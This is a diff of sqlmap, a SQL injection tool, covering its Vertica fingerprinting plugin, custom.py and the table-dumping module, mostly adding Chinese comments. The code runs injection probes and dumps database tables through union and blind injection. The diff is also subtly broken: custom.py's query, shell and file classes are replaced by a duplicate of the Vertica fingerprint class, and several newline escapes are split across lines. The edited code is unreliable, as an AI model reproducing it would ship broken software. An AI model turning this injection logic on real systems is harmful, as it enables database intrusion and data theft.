-from lib.core.data import logger
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.enums import DBMS
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.session import setDbms
+from lib.core.enums import DBMS # 导入 DBMS 枚举，定义数据库管理系统类型
-from lib.core.settings import VERTICA_ALIASES
+from lib.core.session import setDbms # 导入 setDbms 函数，用于设置数据库类型
-from lib.request import inject
+from lib.core.settings import VERTICA_ALIASES # 导入 VERTICA_ALIASES 常量，定义 Vertica 数据库的别名
-from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
-
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 导入 GenericFingerprint 类，作为当前类的父类
+
+# 定义 Fingerprint 类，继承自 GenericFingerprint
 class Fingerprint(GenericFingerprint):
+    # 初始化 Fingerprint 类，设置数据库类型为 Vertica
     def __init__(self):
         GenericFingerprint.__init__(self, DBMS.VERTICA)
 
+    # 定义 getFingerprint 方法，用于获取数据库指纹信息
     def getFingerprint(self):
-        value = ""
+        value = "" # 初始化指纹信息字符串
-        wsOsFp = Format.getOs("web server", kb.headersFp)
+        wsOsFp = Format.getOs("web server", kb.headersFp) # 获取 Web 服务器操作系统信息
 
         if wsOsFp:
-            value += "%s\n" % wsOsFp
+            value += "%s\
+" % wsOsFp # 将 Web 服务器操作系统信息添加到指纹信息
 
-        if kb.data.banner:
+        if kb.data.banner: # 如果存在数据库 banner 信息
-            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) # 获取数据库操作系统信息
 
             if dbmsOsFp:
-                value += "%s\n" % dbmsOsFp
+                value += "%s\
+" % dbmsOsFp # 将数据库操作系统信息添加到指纹信息
 
-        value += "back-end DBMS: "
+        value += "back-end DBMS: " # 添加数据库类型标签
 
-        if not conf.extensiveFp:
+        if not conf.extensiveFp: # 如果不需要详细指纹信息
-            value += DBMS.VERTICA
+            value += DBMS.VERTICA # 将数据库类型添加到指纹信息
-            return value
+            return value # 返回指纹信息
 
-        actVer = Format.getDbms()
+        actVer = Format.getDbms() # 获取数据库类型
-        blank = " " * 15
+        blank = " " * 15 # 定义缩进空格
-        value += "active fingerprint: %s" % actVer
+        value += "active fingerprint: %s" % actVer # 添加当前指纹信息
 
-        if kb.bannerFp:
+        if kb.bannerFp: # 如果存在数据库 banner 信息
-            banVer = kb.bannerFp.get("dbmsVersion")
+            banVer = kb.bannerFp.get("dbmsVersion") # 获取数据库版本信息
 
             if banVer:
-                banVer = Format.getDbms([banVer])
+                banVer = Format.getDbms([banVer]) # 格式化数据库版本信息
-                value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer) # 将 banner 版本信息添加到指纹信息
 
-        htmlErrorFp = Format.getErrorParsedDBMSes()
+        htmlErrorFp = Format.getErrorParsedDBMSes() # 获取 HTML 错误信息中的数据库信息
 
         if htmlErrorFp:
-            value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
+            value += "\
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp) # 将 HTML 错误信息中的数据库信息添加到指纹信息
 
-        return value
+        return value # 返回指纹信息
 
+    # 定义 checkDbms 方法，用于检查数据库类型是否为 Vertica
     def checkDbms(self):
-        if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES):
+        if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): # 如果不需要详细指纹并且数据库别名匹配
-            setDbms(DBMS.VERTICA)
+            setDbms(DBMS.VERTICA) # 设置数据库类型为 Vertica
-
+            self.getBanner() # 获取数据库 banner 信息
-            self.getBanner()
+            return True # 返回 True
-
-            return True
 
-        infoMsg = "testing %s" % DBMS.VERTICA
+        infoMsg = "testing %s" % DBMS.VERTICA # 输出正在测试 Vertica 的信息
         logger.info(infoMsg)
 
         # NOTE: Vertica works too without the CONVERT_TO()
-        result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL")
+        result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") # 使用 SQL 注入检查
 
-        if result:
+        if result: # 如果检查结果为 True
-            infoMsg = "confirming %s" % DBMS.VERTICA
+            infoMsg = "confirming %s" % DBMS.VERTICA # 输出确认是 Vertica 的信息
             logger.info(infoMsg)
 
-            result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL")
+            result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") # 使用 SQL 注入检查
 
-            if not result:
+            if not result: # 如果检查结果为 False
-                warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA
+                warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA # 输出警告信息
                 logger.warning(warnMsg)
+                return False # 返回 False
 
-                return False
+            setDbms(DBMS.VERTICA) # 设置数据库类型为 Vertica
+            self.getBanner() # 获取数据库 banner 信息
 
-            setDbms(DBMS.VERTICA)
+            if not conf.extensiveFp: # 如果不需要详细指纹信息
+                return True # 返回 True
 
-            self.getBanner()
+            infoMsg = "actively fingerprinting %s" % DBMS.VERTICA # 输出正在进行详细指纹识别的信息
-
-            if not conf.extensiveFp:
-                return True
-
-            infoMsg = "actively fingerprinting %s" % DBMS.VERTICA
             logger.info(infoMsg)
 
+            # 根据 CALENDAR_HIERARCHY_DAY(NULL) 的结果判断 Vertica 版本
             if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"):
-                Backend.setVersion(">= 9.0")
+                Backend.setVersion(">= 9.0") # 设置数据库版本为 >= 9.0
             else:
-                Backend.setVersion("< 9.0")
+                Backend.setVersion("< 9.0") # 设置数据库版本为 < 9.0
 
-            return True
+            return True # 返回 True
-        else:
+        else: # 如果检查结果为 False
-            warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA
+            warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA # 输出警告信息
             logger.warning(warnMsg)
-
+            return False # 返回 False
-            return False

src/sqlmap-master/plugins/generic/custom.py

@@ -5,146 +5,107 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-from __future__ import print_function
+# 导入必要的模块
-
+from lib.core.common import Backend # 导入 Backend 类，用于访问后端数据库信息
-import re
+from lib.core.common import Format # 导入 Format 类，用于格式化输出信息
-import sys
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
-
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.common import Backend
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.common import dataToStdout
+from lib.core.enums import DBMS # 导入 DBMS 枚举，定义数据库管理系统类型
-from lib.core.common import getSQLSnippet
+from lib.core.session import setDbms # 导入 setDbms 函数，用于设置数据库类型
-from lib.core.common import isStackingAvailable
+from lib.core.settings import VERTICA_ALIASES # 导入 VERTICA_ALIASES 常量，定义 Vertica 数据库的别名
-from lib.core.convert import getUnicode
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
-from lib.core.data import conf
+from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 导入 GenericFingerprint 类，作为当前类的父类
-from lib.core.data import logger
+
-from lib.core.dicts import SQL_STATEMENTS
+# 定义 Fingerprint 类，继承自 GenericFingerprint
-from lib.core.enums import AUTOCOMPLETE_TYPE
+class Fingerprint(GenericFingerprint):
-from lib.core.enums import DBMS
+    # 初始化 Fingerprint 类，设置数据库类型为 Vertica
-from lib.core.exception import SqlmapNoneDataException
-from lib.core.settings import METADB_SUFFIX
-from lib.core.settings import NULL
-from lib.core.settings import PARAMETER_SPLITTING_REGEX
-from lib.core.shell import autoCompletion
-from lib.request import inject
-from thirdparty.six.moves import input as _input
-
-class Custom(object):
-    """
-    This class defines custom enumeration functionalities for plugins.
-    """
-
     def __init__(self):
-        pass
+        GenericFingerprint.__init__(self, DBMS.VERTICA)
-
-    def sqlQuery(self, query):
-        output = None
-        sqlType = None
-        query = query.rstrip(';')
 
-        try:
+    # 定义 getFingerprint 方法，用于获取数据库指纹信息
-            for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
+    def getFingerprint(self):
-                for sqlStatement in sqlStatements:
+        value = "" # 初始化指纹信息字符串
-                    if query.lower().startswith(sqlStatement):
+        wsOsFp = Format.getOs("web server", kb.headersFp) # 获取 Web 服务器操作系统信息
-                        sqlType = sqlTitle
-                        break
 
-            if not re.search(r"\b(OPENROWSET|INTO)\b", query, re.I) and (not sqlType or "SELECT" in sqlType):
+        if wsOsFp:
-                infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
+            value += "%s\
-                logger.info(infoMsg)
+" % wsOsFp # 将 Web 服务器操作系统信息添加到指纹信息
 
-                if Backend.isDbms(DBMS.MSSQL):
+        if kb.data.banner: # 如果存在数据库 banner 信息
-                    match = re.search(r"(\bFROM\s+)([^\s]+)", query, re.I)
+            dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) # 获取数据库操作系统信息
-                    if match and match.group(2).count('.') == 1:
-                        query = query.replace(match.group(0), "%s%s" % (match.group(1), match.group(2).replace('.', ".dbo.")))
 
-                query = re.sub(r"(?i)\w+%s\.?" % METADB_SUFFIX, "", query)
+            if dbmsOsFp:
+                value += "%s\
+" % dbmsOsFp # 将数据库操作系统信息添加到指纹信息
 
-                output = inject.getValue(query, fromUser=True)
+        value += "back-end DBMS: " # 添加数据库类型标签
 
-                return output
+        if not conf.extensiveFp: # 如果不需要详细指纹信息
-            elif not isStackingAvailable() and not conf.direct:
+            value += DBMS.VERTICA # 将数据库类型添加到指纹信息
-                warnMsg = "execution of non-query SQL statements is only "
+            return value # 返回指纹信息
-                warnMsg += "available when stacked queries are supported"
-                logger.warning(warnMsg)
 
-                return None
+        actVer = Format.getDbms() # 获取数据库类型
-            else:
+        blank = " " * 15 # 定义缩进空格
-                if sqlType:
+        value += "active fingerprint: %s" % actVer # 添加当前指纹信息
-                    infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query)
-                else:
-                    infoMsg = "executing unknown SQL command: '%s'" % query
-                logger.info(infoMsg)
 
-                inject.goStacked(query)
+        if kb.bannerFp: # 如果存在数据库 banner 信息
+            banVer = kb.bannerFp.get("dbmsVersion") # 获取数据库版本信息
 
-                output = NULL
+            if banVer:
+                banVer = Format.getDbms([banVer]) # 格式化数据库版本信息
+                value += "\
+%sbanner parsing fingerprint: %s" % (blank, banVer) # 将 banner 版本信息添加到指纹信息
 
-        except SqlmapNoneDataException as ex:
+        htmlErrorFp = Format.getErrorParsedDBMSes() # 获取 HTML 错误信息中的数据库信息
-            logger.warning(ex)
-
-        return output
-
-    def sqlShell(self):
-        infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
-        infoMsg += "'x' or 'q' and press ENTER"
-        logger.info(infoMsg)
 
-        autoCompletion(AUTOCOMPLETE_TYPE.SQL)
+        if htmlErrorFp:
+            value += "\
+%shtml error message fingerprint: %s" % (blank, htmlErrorFp) # 将 HTML 错误信息中的数据库信息添加到指纹信息
 
-        while True:
+        return value # 返回指纹信息
-            query = None
 
-            try:
+    # 定义 checkDbms 方法，用于检查数据库类型是否为 Vertica
-                query = _input("sql-shell> ")
+    def checkDbms(self):
-                query = getUnicode(query, encoding=sys.stdin.encoding)
+        if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): # 如果不需要详细指纹并且数据库别名匹配
-                query = query.strip("; ")
+            setDbms(DBMS.VERTICA) # 设置数据库类型为 Vertica
-            except UnicodeDecodeError:
+            self.getBanner() # 获取数据库 banner 信息
-                print()
+            return True # 返回 True
-                errMsg = "invalid user input"
-                logger.error(errMsg)
-            except KeyboardInterrupt:
-                print()
-                errMsg = "user aborted"
-                logger.error(errMsg)
-            except EOFError:
-                print()
-                errMsg = "exit"
-                logger.error(errMsg)
-                break
 
-            if not query:
+        infoMsg = "testing %s" % DBMS.VERTICA # 输出正在测试 Vertica 的信息
-                continue
+        logger.info(infoMsg)
-
-            if query.lower() in ("x", "q", "exit", "quit"):
-                break
-
-            output = self.sqlQuery(query)
 
-            if output and output != "Quit":
+        # NOTE: Vertica works too without the CONVERT_TO()
-                conf.dumper.sqlQuery(query, output)
+        result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") # 使用 SQL 注入检查
 
-            elif not output:
+        if result: # 如果检查结果为 True
-                pass
+            infoMsg = "confirming %s" % DBMS.VERTICA # 输出确认是 Vertica 的信息
+            logger.info(infoMsg)
 
-            elif output != "Quit":
+            result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") # 使用 SQL 注入检查
-                dataToStdout("No output\n")
 
-    def sqlFile(self):
+            if not result: # 如果检查结果为 False
-        infoMsg = "executing SQL statements from given file(s)"
+                warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA # 输出警告信息
-        logger.info(infoMsg)
+                logger.warning(warnMsg)
+                return False # 返回 False
 
-        for filename in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile):
+            setDbms(DBMS.VERTICA) # 设置数据库类型为 Vertica
-            filename = filename.strip()
+            self.getBanner() # 获取数据库 banner 信息
 
-            if not filename:
+            if not conf.extensiveFp: # 如果不需要详细指纹信息
-                continue
+                return True # 返回 True
 
-            snippet = getSQLSnippet(Backend.getDbms(), filename)
+            infoMsg = "actively fingerprinting %s" % DBMS.VERTICA # 输出正在进行详细指纹识别的信息
+            logger.info(infoMsg)
 
-            if snippet and all(query.strip().upper().startswith("SELECT") for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _)):
+            # 根据 CALENDAR_HIERARCHY_DAY(NULL) 的结果判断 Vertica 版本
-                for query in (_ for _ in snippet.split(';' if ';' in snippet else '\n') if _):
+            if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"):
-                    query = query.strip()
+                Backend.setVersion(">= 9.0") # 设置数据库版本为 >= 9.0
-                    if query:
-                        conf.dumper.sqlQuery(query, self.sqlQuery(query))
             else:
-                conf.dumper.sqlQuery(snippet, self.sqlQuery(snippet))
+                Backend.setVersion("< 9.0") # 设置数据库版本为 < 9.0
+
+            return True # 返回 True
+        else: # 如果检查结果为 False
+            warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA # 输出警告信息
+            logger.warning(warnMsg)
+            return False # 返回 False

src/sqlmap-master/plugins/generic/entries.py

@@ -5,10 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+# 导入正则表达式模块
 import re
 
+# 从lib.core.agent模块导入agent对象，用于处理注入过程中的各种细节
 from lib.core.agent import agent
+# 从lib.core.bigarray模块导入BigArray类，用于高效存储和处理大量数据
 from lib.core.bigarray import BigArray
+# 从lib.core.common模块导入各种常用函数和常量，如Backend、clearConsoleLine、getLimitRange等
 from lib.core.common import Backend
 from lib.core.common import clearConsoleLine
 from lib.core.common import getLimitRange
@@ -25,33 +29,47 @@ from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
 from lib.core.common import unsafeSQLIdentificatorNaming
+# 从lib.core.convert模块导入getConsoleLength函数，用于获取控制台字符串的长度
 from lib.core.convert import getConsoleLength
 from lib.core.convert import getUnicode
+# 从lib.core.data模块导入conf和kb对象，用于存储配置信息和知识库信息
 from lib.core.data import conf
 from lib.core.data import kb
+# 从lib.core.data模块导入logger对象，用于记录日志信息
 from lib.core.data import logger
+# 从lib.core.data模块导入queries对象，用于存储各种数据库的查询语句
 from lib.core.data import queries
+# 从lib.core.dicts模块导入DUMP_REPLACEMENTS字典，用于替换转储数据中的特殊字符
 from lib.core.dicts import DUMP_REPLACEMENTS
+# 从lib.core.enums模块导入各种枚举类型，如CHARSET_TYPE、DBMS、EXPECTED、PAYLOAD等
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
 from lib.core.enums import PAYLOAD
+# 从lib.core.exception模块导入各种自定义异常类
 from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedFeatureException
+# 从lib.core.settings模块导入各种配置常量
 from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
 from lib.core.settings import CURRENT_DB
 from lib.core.settings import METADB_SUFFIX
 from lib.core.settings import NULL
 from lib.core.settings import PLUS_ONE_DBMSES
 from lib.core.settings import UPPER_CASE_DBMSES
+# 从lib.request模块导入inject函数，用于执行SQL注入
 from lib.request import inject
+# 从lib.utils.hash模块导入attackDumpedTable函数，用于对转储的表数据进行攻击
 from lib.utils.hash import attackDumpedTable
+# 从lib.utils.pivotdumptable模块导入pivotDumpTable函数，用于执行透视转储表操作
 from lib.utils.pivotdumptable import pivotDumpTable
+# 导入第三方six库，用于兼容Python 2和Python 3
 from thirdparty import six
+# 导入第三方six库的zip函数，并重命名为_zip
 from thirdparty.six.moves import zip as _zip
 
+# 定义Entries类，用于封装枚举数据库条目的相关功能
 class Entries(object):
     """
     This class defines entries' enumeration functionalities for plugins.
@@ -60,9 +78,12 @@ class Entries(object):
     def __init__(self):
         pass
 
+    # 定义dumpTable方法，用于转储指定表的条目
     def dumpTable(self, foundData=None):
+        # 强制执行数据库枚举，确保已获取数据库类型
         self.forceDbmsEnum()
 
+        # 如果没有指定数据库或指定为当前数据库，则获取当前数据库
         if conf.db is None or conf.db == CURRENT_DB:
             if conf.db is None:
                 warnMsg = "missing database parameter. sqlmap is going "
@@ -71,65 +92,81 @@ class Entries(object):
                 logger.warning(warnMsg)
 
             conf.db = self.getCurrentDb()
-
+        # 如果指定了数据库
         elif conf.db is not None:
+            # 如果数据库是属于大写数据库类型，则将其转换为大写
             if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                 conf.db = conf.db.upper()
 
+            # 如果数据库名包含逗号，则抛出异常，因为只允许一个数据库名
             if ',' in conf.db:
                 errMsg = "only one database name is allowed when enumerating "
                 errMsg += "the tables' columns"
                 raise SqlmapMissingMandatoryOptionException(errMsg)
 
+            # 如果数据库名匹配排除模式，则跳过
             if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
                 infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                 singleTimeLogMessage(infoMsg)
                 return
 
+        # 对数据库名进行安全处理
         conf.db = safeSQLIdentificatorNaming(conf.db) or ""
 
+        # 如果指定了表
         if conf.tbl:
+            # 如果表名是属于大写数据库类型，则将其转换为大写
             if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
                 conf.tbl = conf.tbl.upper()
-
+            # 将表名拆分为列表
             tblList = conf.tbl.split(',')
+        # 如果没有指定表
         else:
+            # 获取所有表
             self.getTables()
-
+            # 如果已缓存表信息
             if len(kb.data.cachedTables) > 0:
+                # 获取表列表
                 tblList = list(six.itervalues(kb.data.cachedTables))
-
+                # 如果表列表嵌套，则解包
                 if tblList and isListLike(tblList[0]):
                     tblList = tblList[0]
+            # 如果指定了数据库但未能获取表信息
             elif conf.db and not conf.search:
                 errMsg = "unable to retrieve the tables "
                 errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                 raise SqlmapNoneDataException(errMsg)
             else:
                 return
-
+        # 对表名列表中的表名进行安全处理
         for tbl in tblList:
             tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
-
+        # 遍历表列表
         for tbl in tblList:
+            # 如果检测到键盘中断，则跳出循环
             if kb.dumpKeyboardInterrupt:
                 break
-
+            # 如果表名匹配排除模式，则跳过
             if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
                 infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                 singleTimeLogMessage(infoMsg)
                 continue
-
+            # 设置当前表名
             conf.tbl = tbl
+            # 初始化已转储的表数据
             kb.data.dumpedTable = {}
-
+            # 如果没有传入已发现的列数据
             if foundData is None:
+                # 清空缓存的列信息
                 kb.data.cachedColumns = {}
+                # 获取列信息，仅获取列名，并设置转储模式
                 self.getColumns(onlyColNames=True, dumpMode=True)
+            # 如果传入了已发现的列数据，则直接使用
             else:
                 kb.data.cachedColumns = foundData
 
             try:
+                # 根据数据库类型设置转储表名
                 if Backend.isDbms(DBMS.INFORMIX):
                     kb.dumpTable = "%s:%s" % (conf.db, tbl)
                 elif Backend.isDbms(DBMS.SQLITE):
@@ -139,6 +176,7 @@ class Entries(object):
                 else:
                     kb.dumpTable = "%s.%s" % (conf.db, tbl)
 
+                # 如果未能获取列信息，则跳过当前表
                 if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                     warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                     if METADB_SUFFIX.upper() not in conf.db.upper():
@@ -148,12 +186,16 @@ class Entries(object):
 
                     continue
 
+                # 获取当前表的列信息
                 columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
+                # 对列名列表进行排序
                 colList = sorted(column for column in columns if column)
 
+                # 如果指定了排除模式，则从列名列表中排除匹配的列
                 if conf.exclude:
                     colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
 
+                # 如果没有可用的列名，则跳过当前表
                 if not colList:
                     warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                     if METADB_SUFFIX.upper() not in conf.db.upper():
@@ -161,9 +203,11 @@ class Entries(object):
                     warnMsg += " (no usable column names)"
                     logger.warning(warnMsg)
                     continue
-
+                # 设置全局变量 kb.dumpColumns 为当前表需要转储的列名列表
                 kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList]
+                # 将列名列表转换为逗号分隔的字符串
                 colNames = colString = ','.join(column for column in colList)
+                # 获取转储表的根查询
                 rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
 
                 infoMsg = "fetching entries"
@@ -174,17 +218,21 @@ class Entries(object):
                     infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                 logger.info(infoMsg)
                 
+                # 遍历列名列表，对每个列名进行预处理
                 for column in colList:
                     _ = agent.preprocessField(tbl, column)
                     if _ != column:
                         colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString)
 
+                # 初始化条目计数
                 entriesCount = 0
 
+                # 如果存在可用的注入技术，或使用了--direct参数
                 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
+                    # 初始化条目列表
                     entries = []
                     query = None
-
+                    # 根据数据库类型构建查询语句
                     if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                         query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                     elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
@@ -247,9 +295,10 @@ class Entries(object):
                         query = rootQuery.inband.query % (colString, conf.db, tbl)
 
                     query = agent.whereQuery(query)
-
+                    # 如果没有获取到条目，并且查询语句存在，并且没有检测到键盘中断
                     if not entries and query and not kb.dumpKeyboardInterrupt:
                         try:
+                            # 执行查询语句，获取条目信息
                             entries = inject.getValue(query, blind=False, time=False, dump=True)
                         except KeyboardInterrupt:
                             entries = None
@@ -257,7 +306,7 @@ class Entries(object):
                             clearConsoleLine()
                             warnMsg = "Ctrl+C detected in dumping phase"
                             logger.warning(warnMsg)
-
+                    # 如果成功获取到条目
                     if not isNoneValue(entries):
                         if isinstance(entries, six.string_types):
                             entries = [entries]
@@ -266,6 +315,7 @@ class Entries(object):
 
                         entriesCount = len(entries)
 
+                        # 遍历每个列名和条目，更新转储的表数据信息
                         for index, column in enumerate(colList):
                             if column not in kb.data.dumpedTable:
                                 kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}
@@ -273,19 +323,20 @@ class Entries(object):
                             for entry in entries:
                                 if entry is None or len(entry) == 0:
                                     continue
-
+                                # 如果条目是字符串类型
                                 if isinstance(entry, six.string_types):
                                     colEntry = entry
+                                # 否则，获取指定索引的条目
                                 else:
                                     colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
 
                                 maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
-
+                                # 更新最大长度
                                 if maxLen > kb.data.dumpedTable[column]["length"]:
                                     kb.data.dumpedTable[column]["length"] = maxLen
-
+                                # 添加条目值
                                 kb.data.dumpedTable[column]["values"].append(colEntry)
-
+                # 如果没有转储表数据，并且可以使用盲注方式，且不是直接模式
                 if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                     infoMsg = "fetching number of "
                     if conf.col:
@@ -294,6 +345,7 @@ class Entries(object):
                     infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                     logger.info(infoMsg)
                     
+                    # 构建盲注获取条目计数的查询语句
                     if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                         query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                     elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA):
@@ -307,21 +359,22 @@ class Entries(object):
 
                     query = agent.whereQuery(query)
 
+                    # 执行盲注查询，获取条目计数
                     count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 
                     lengths = {}
                     entries = {}
-
+                    # 如果条目计数为0
                     if count == 0:
                         warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                         warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                         warnMsg += "appears to be empty"
                         logger.warning(warnMsg)
-
+                        # 初始化长度和条目
                         for column in colList:
                             lengths[column] = len(column)
                             entries[column] = []
-
+                    # 如果未能获取条目计数
                     elif not isNumPosStrValue(count):
                         warnMsg = "unable to retrieve the number of "
                         if conf.col:
@@ -331,7 +384,7 @@ class Entries(object):
                         logger.warning(warnMsg)
 
                         continue
-
+                    # 对于特定数据库
                     elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA):
                         if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA):
                             table = tbl
@@ -339,7 +392,7 @@ class Entries(object):
                             table = "%s.%s" % (conf.db, tbl) if conf.db else tbl
                         elif Backend.isDbms(DBMS.INFORMIX):
                             table = "%s:%s" % (conf.db, tbl) if conf.db else tbl
-
+                        # 如果是mssql并且没有强制透视
                         if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                             warnMsg = "in case of table dumping problems (e.g. column entry order) "
                             warnMsg += "you are advised to rerun with '--force-pivoting'"
@@ -369,7 +422,7 @@ class Entries(object):
                                 clearConsoleLine()
                                 warnMsg = "Ctrl+C detected in dumping phase"
                                 logger.warning(warnMsg)
-
+                        # 如果没有获取到条目，且没有检测到键盘中断
                         if not entries and not kb.dumpKeyboardInterrupt:
                             try:
                                 retVal = pivotDumpTable(table, colList, count, blind=True)
@@ -382,12 +435,12 @@ class Entries(object):
 
                             if retVal:
                                 entries, lengths = retVal
-
+                    # 对于其他数据库
                     else:
                         emptyColumns = []
                         plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
                         indexRange = getLimitRange(count, plusOne=plusOne)
-
+                        # 如果列的数量小于行数，且大于阈值，则进行空列检查
                         if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                             debugMsg = "checking for empty columns"
                             logger.debug(infoMsg)
@@ -409,7 +462,7 @@ class Entries(object):
 
                                     if column not in entries:
                                         entries[column] = BigArray()
-
+                                    # 根据不同的数据库类型，构建盲注查询语句
                                     if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
@@ -428,10 +481,10 @@ class Entries(object):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)
 
                                     query = agent.whereQuery(query)
-
+                                    # 执行盲注查询，获取值
                                     value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                     value = '' if value is None else value
-
+                                    # 更新最大长度和条目值
